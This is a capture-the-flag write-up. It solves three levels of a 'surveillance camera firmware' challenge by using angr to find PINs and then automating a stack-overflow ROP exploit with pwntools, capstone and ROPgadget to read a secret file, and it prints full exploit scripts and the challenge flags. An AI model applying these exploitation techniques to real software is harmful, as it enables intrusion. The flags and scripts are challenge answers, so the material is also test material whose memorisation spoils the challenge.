Cameras are down. Not the endpoint installing their firmwares. Open socket here. Could analyze some outdated firmwares.
Introduction #
In a dystopian bureaucratic future, we are tasked to investigate a camera firmware generator. We can access 3 different levels depending on the password we provide. Then, we are given an ELF binary encoded in base64
and we are asked to find the correct PIN which deactivates the cameras. Once we provide the correct input, we are rewarded with… another binary! And so on and so forth.
It seems that even though the challenges are simple by themselves, the real challenge here is to completely automate the exploitation process.
Level 1 #
As I show you around the different Surveillance Cameras Firmwares, you can try out the different keypads. Here is how this is going to work. I will give you a firmware. Find the appropriate keycode to deactivate these cameras. The firmwares will be encoded in base64. Return to me the full pin entry (stdin) encoded in base64 on a single line. I will keep you updated on how you are doing. Let’s get going.
The first level is pretty straight forward. It reads 5 PINs of 10 digits each using scanf
and verifies each one using a single if
statement.
int main(void)
{
uint pin1;
int pin2, pin3, pin4, pin5;
__isoc99_scanf(&format_10u,&pin1);
__isoc99_scanf(&format_10u,&pin2);
__isoc99_scanf(&format_10u,&pin3);
__isoc99_scanf(&format_10u,&pin4);
__isoc99_scanf(&format_10u,&pin5);
if (pin1 % 0x22a5ba4b != 0xa0710fe) {
puts("Wrong password.");
exit(1);
}
if (pin2 != 0x766b4ee6) {
puts("Wrong password.");
exit(1);
}
if (pin3 != -0x11729f3a) {
puts("Wrong password.");
exit(1);
}
if (pin4 != -0x9f327a9) {
puts("Wrong password.");
exit(1);
}
if (pin5 != -0x395ba0ae) {
puts("Wrong password.");
exit(1);
}
puts("Deactivated.");
return 0;
}
All the binaries are similar, but the PIN verification methods vary between direct comparison and modulus. There are multiple ways to automate the extraction of the correct PIN values, but the most efficient by far has to be using angr
.
We simply look for an execution path that outputs the string "Deactivated"
on stdout
.
Full exploit script #
from pwn import *
import base64
import angr
p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"I have come for the shadow training")
p.recvuntil(b"Let's get going.\n")
def read_firmware():
encoded = p.recvline(keepends=False)
firmware = base64.b64decode(encoded)
with open("prog", "wb") as f:
f.write(firmware)
def find_pin(filename):
proj = angr.Project(f"./{filename}")
simgr = proj.factory.simulation_manager()
simgr.explore(find=lambda s: b"Deactivated" in s.posix.dumps(1))
s = simgr.found[0]
pin = s.posix.dumps(0)
print(f"Found pin {pin.decode()}")
return pin
for i in range(50):
read_firmware()
pin = find_pin("prog")
p.sendline(base64.b64encode(pin))
message = p.recvline(keepends=False)
print(message.decode())
p.interactive()
FLAG-9fc829b1f5af991c78dc8ae232f2618e3c3904e1001777ea19815da17f7
Level 2 #
You know the drill… only harder!
The second level is quite similar, but some kind of anti-debugging feature was added at the beginning.
int main(int argc,char **argv)
{
char cmdline [32];
FILE *f;
int pin1, pin2, pin3, pin4, pin5;
int count;
int i, j;
f = fopen("/proc/self/cmdline","rb");
memset(cmdline,0,0x20);
fgets(cmdline,6,f);
fclose(f);
count = 0;
for (i = 0; i < 0x100; i = i + 1) {
for (j = 0; j < 6; j = j + 1) {
if (cmdline[j] == '/') {
count = count + 1;
}
}
}
if (count != 0x200) {
exit(1);
}
__isoc99_scanf(&format_10u,&pin1);
__isoc99_scanf(&format_10u,&pin2);
__isoc99_scanf(&format_10u,&pin3);
__isoc99_scanf(&format_10u,&pin4);
__isoc99_scanf(&format_10u,&pin5);
if (pin1 != -0x741602f7) {
puts("Wrong password.");
exit(1);
}
if (pin2 != -0x25287d8d) {
puts("Wrong password.");
exit(1);
}
if (pin3 != 0x6c712c4b) {
puts("Wrong password.");
exit(1);
}
if (pin4 != 0x61bf41ec) {
puts("Wrong password.");
exit(1);
}
if (pin5 != 0x4925fcde) {
puts("Wrong password.");
exit(1);
}
puts("Deactivated.");
return 0;
}
The first part opens /proc/self/cmdline
and reads the first 5 characters. It then counts the number of slashes /
0x100 times and compares the result with 0x200. This means that the command used to run the executable must contain 2 slashes in the first 5 characters, preventing trivial execution of the program.
This measure can be easily circumvented by placing the binary in a directory with a small name. For instance, by placing the executable prog
in a directory a
, we can now call ./a/prog
and the first 5 characters of the command line will contain 2 slashes.
But why even bother? We don’t really need to execute the whole binary, we just want to run angr
on the last part of the main
function. Therefore, we just need to ajust the start address in our script, which we can do using the entry_state
initializer.
Full exploit script #
from pwn import *
import base64
import angr
p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"If things are not failing, you are not innovating enough")
p.recvuntil(b"only harder!\n")
def read_firmware():
encoded = p.recvline(keepends=False)
firmware = base64.b64decode(encoded)
with open("prog", "wb") as f:
f.write(firmware)
def find_pin(filename):
proj = angr.Project(f"./{filename}")
state = proj.factory.entry_state(addr=0x0000000000401256)
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"Deactivated" in s.posix.dumps(1))
s = simgr.found[0]
pin = s.posix.dumps(0)
print(f"Found pin {pin.decode()}")
return pin
for i in range(35):
read_firmware()
pin = find_pin("prog")
p.sendline(base64.b64encode(pin))
message = p.recvline(keepends=False)
print(message.decode())
p.interactive()
FLAG-c2566c50c1508cb339a3f872ffe699fb59ee306e165e2d0959048ca9dfe
Level 3 #
Time to show them for real. Here’s the plan. Nevermind shutting them down. Exploit them. Prove that you are capable by writing a payload that writes the content of “./secret” to stdout.
The last level is much more complex, because we now need to properly PWN the firmwares. Instead of providing the correct PIN, we must corrupt the execution flow to print out the content of the secret
file.
The programs have a clear buffer overflow in the main
function.
int main(void)
{
char local_458 [192];
char local_398 [48];
char local_368 [64];
char local_328 [128];
char local_2a8 [96];
char local_248 [240];
char local_158 [192];
char local_98 [124];
int pin1, pin2, pin3, pin4, pin5;
__isoc99_scanf(&format_10u,&pin1);
__isoc99_scanf(&format_10u,&pin2);
__isoc99_scanf(&format_10u,&pin3);
__isoc99_scanf(&format_10u,&pin4);
__isoc99_scanf(&format_10u,&pin5);
puts("Deactivation pin in now stored in this file: secret");
fgets(local_98,0x75,(FILE *)stdin);
fgets(local_398,0x25,(FILE *)stdin);
fgets(local_158,0x5d8,(FILE *)stdin);
fgets(local_328,0x80,(FILE *)stdin);
fgets(local_368,0x3d,(FILE *)stdin);
fgets(local_2a8,0x55,(FILE *)stdin);
fgets(local_458,0xb1,(FILE *)stdin);
fgets(local_248,0xe9,(FILE *)stdin);
puts("Deactivated.");
return 0;
}
However, the overflow is burried in a pile of other calls to fgets
.
It’s also important to note that the number, the size and the order of the buffers and the calls to fgets
can greatly differ from one binary to another. Here’s another firmware for comparison.
int main(void)
{
char local_4f8 [160];
char local_458 [256];
char local_358 [32];
char local_338 [64];
char local_2f8 [64];
char local_2b8 [192];
char local_1f8 [48];
char local_1c8 [32];
char local_1a8 [256];
char local_a8 [140];
int pin1, pin2, pin3, pin4, pin5;
__isoc99_scanf(&format_10u,&pin1);
__isoc99_scanf(&format_10u,&pin2);
__isoc99_scanf(&format_10u,&pin3);
__isoc99_scanf(&format_10u,&pin4);
__isoc99_scanf(&format_10u,&pin5);
puts("Deactivation pin in now stored in this file: secret");
fgets(local_a8,0x85,(FILE *)stdin);
fgets(local_458,0xfc,(FILE *)stdin);
fgets(local_2f8,0x39,(FILE *)stdin);
fgets(local_1f8,0x28,(FILE *)stdin);
fgets(local_1c8,0x14,(FILE *)stdin);
fgets(local_4f8,0x95,(FILE *)stdin);
fgets(local_1a8,0xfd,(FILE *)stdin);
fgets(local_338,0x36,(FILE *)stdin);
fgets(local_2b8,0xb3,(FILE *)stdin);
fgets(local_358,0x5d5,(FILE *)stdin);
puts("Deactivated.");
return 0;
}
Strategy #
The only constant between firmwares is that at least one call to fgets
is quite big, enough to overflow into a nice ROP chain. Therefore, we can safely ignore all other calls and give them empty lines.
It’s important to note that even tho checksec
reports the presence of a stack canary, the main
function doesn’t have one, which allows the overflow.
The minimal requirements to be able to successfull overflow any given firmware into a ROP chain are:
- The size of the biggest
fgets
- The offset of its buffer from the return address
- The number of
fgets
before the biggest - The number of
fgets
after the biggest
With this information, we can send the correct number of empty newlines and the right padding before the ROP chain.
The perfect tool to extract all this data is the Capstone disassembler. Using the capstone
Python module, we can easily disassemble the firmware into an object.
binary = ELF(f"./{filename}")
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True
We can then use that object to iterate over all instructions in the main
function until a ret
instruction is encountered.
text_offset = binary.get_section_by_name(".text").header["sh_addr"]
for insn in md.disasm(binary.section(".text"), text_offset):
if insn.address < binary.sym["main"]:
continue
if insn.mnemonic == "ret":
break
Every call to fgets
is populated with the same instructions.
MOV RDX,qword ptr [->_IO_2_1_stdin_]
LEA RAX,[RBP + -0x450]
MOV ESI,0xb1
MOV RDI,RAX
CALL fgets
To get the buffer offset, we need the offset in the second argument of every lea
instruction. To get the size, we need the second argument of every mov
instruction which has the esi
register as the first. We store all those values whenever we encouter a call to fgets
.
if insn.mnemonic == "lea": # load buffer
buffer = -insn.operands[1].value.mem.disp
if insn.mnemonic == "mov" and insn.reg_name(insn.operands[0].value.reg) == "esi": # load size
readlen = insn.operands[1].value.imm
if insn.mnemonic == "call" and insn.operands[0].imm == binary.sym["fgets"]: # call fgets
fgets_calls.append((buffer, readlen))
This strategy allows us to generate a payload that will sucessfully deliver any ROP chain we might want.
for buffer, readlen in fgets_calls:
if readlen == biggest_fgets:
payload += b"a"*(buffer + 8)
payload += ROPchain
payload += b"\n"
The chain #
The only thing missing is the ROP chain itself!
The first thing to notice is that all the firmwares for this level are statically linked. The good news is that all libc
functions can be easily called in our chain, but the downside is that we are restricted to the functions included in the binary.
A quick check using nm
or gdb
confirms that the system
function is not present, but open
, read
and write
are, which is perfect for our purposes.
The pwntools
module makes it trivial to craft the ROP chain itself.
r = ROP(binary)
r.call("open", [target, 0, 0])
r.call("read", [3, target, 100])
r.call("write", [1, target, 100])
r.call("exit", [0])
secret
file is longer.
All we need now is the filename ./secret
written somewhere in the binary for the call to open
. Usually, it’s easy to include a call to gets
in the ROP chain to place the filename in the BSS, but with a few tests it became clear that the program didn’t respond well to it (probably something to do with newlines and buffering since we need to bundle the whole input in a single payload).
The ROP chain does however allow us to very reliably pop any value into registers. Therefore, if we could find a good mov
gadget, we could use this to manually put the filename in the BSS. Since the binaries are statically linked, there are tons of good gadgets to choose from! This one should work perfectly since we can easily control rdi
and rsi
.
mov qword ptr [rdi + 0x98], rsi
ret
Unfortunately, pwntools
can’t find this type of gadget, so the quickest solution at the time was to script a call to ROPgadget
.
def find_gadget(value):
gadgets = subprocess.run(f"ROPgadget --binary {filename}".split(), capture_output=True).stdout.decode()
for line in gadgets.splitlines():
if value in line:
return int(line.split()[0], 16)
After that, we don’t even have to care about how we setup the registers, because pwntools
can handle that too.
r = ROP(binary)
r(rdi=target-0x98, rsi=u64(b"./secret"))
Finally, we can put this all of this together to automate the exploitation of the firmwares and get the flag!
Full exploit script #
from pwn import *
import base64
import capstone
context.update(os="linux", arch="amd64")
p = remote("surveillance.ctf", 8000)
p.recvuntil(b"Password: ")
p.sendline(b"What I'm trying to do is to maximise the probability of the future being better")
print(p.recvuntil(b"stdout.\n"))
def read_firmware():
encoded = p.recvline(keepends=False)
firmware = base64.b64decode(encoded)
with open("prog", "wb") as f:
f.write(firmware)
def craft_exploit(filename):
binary = ELF(f"./{filename}")
# Find our gadget
def find_gadget(value):
gadgets = subprocess.run(f"ROPgadget --binary {filename}".split(), capture_output=True).stdout.decode()
for line in gadgets.splitlines():
if value in line:
return int(line.split()[0], 16)
movrsirsi = find_gadget(": mov qword ptr [rdi + 0x98], rsi ; ret")
print(f"Found gadget at address {hex(movrsirsi)}")
# Find the overflow parameters
md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
md.detail = True
text_offset = binary.get_section_by_name(".text").header["sh_addr"]
buffer = 0
readlen = 0
fgets_calls = []
for insn in md.disasm(binary.section(".text"), text_offset):
if insn.address < binary.sym["main"]:
continue
if insn.mnemonic == "ret":
break
if insn.mnemonic == "lea": # load buffer
buffer = -insn.operands[1].value.mem.disp
if insn.mnemonic == "mov" and insn.reg_name(insn.operands[0].value.reg) == "esi": # load size
readlen = insn.operands[1].value.imm
if insn.mnemonic == "call" and insn.operands[0].imm == binary.sym["fgets"]: # call fgets
print(f"fgets is called with buffer {buffer} and size {readlen}")
fgets_calls.append((buffer, readlen))
biggest_fgets = max(map(lambda x: x[1], fgets_calls))
print(f"The biggest fgets is with size {biggest_fgets}")
# Craft the chain
target = binary.bss(0x208)
print(f"Target is {hex(target)}")
r = ROP(binary)
r(rdi=target-0x98, rsi=u64(b"./secret"))
payload = b"1"*50
for buffer, readlen in fgets_calls:
if readlen == biggest_fgets:
payload += b"a"*(buffer + 8)
payload += r.chain()
payload += p64(movrsirsi)
r = ROP(binary)
r.call("open", [target, 0, 0])
r.call("read", [3, target, 100])
r.call("write", [1, target, 100])
r.call("exit", [0])
payload += r.chain()
payload += b"\n"
return payload
for i in range(50):
read_firmware()
payload = craft_exploit("prog")
p.sendline(base64.b64encode(payload))
message = p.recvline(keepends=False)
print(message.decode())
p.interactive()
FLAG-10b7bb2f859abeb8271b8a81ac96f030c062ca8911049c03299fd49d9aa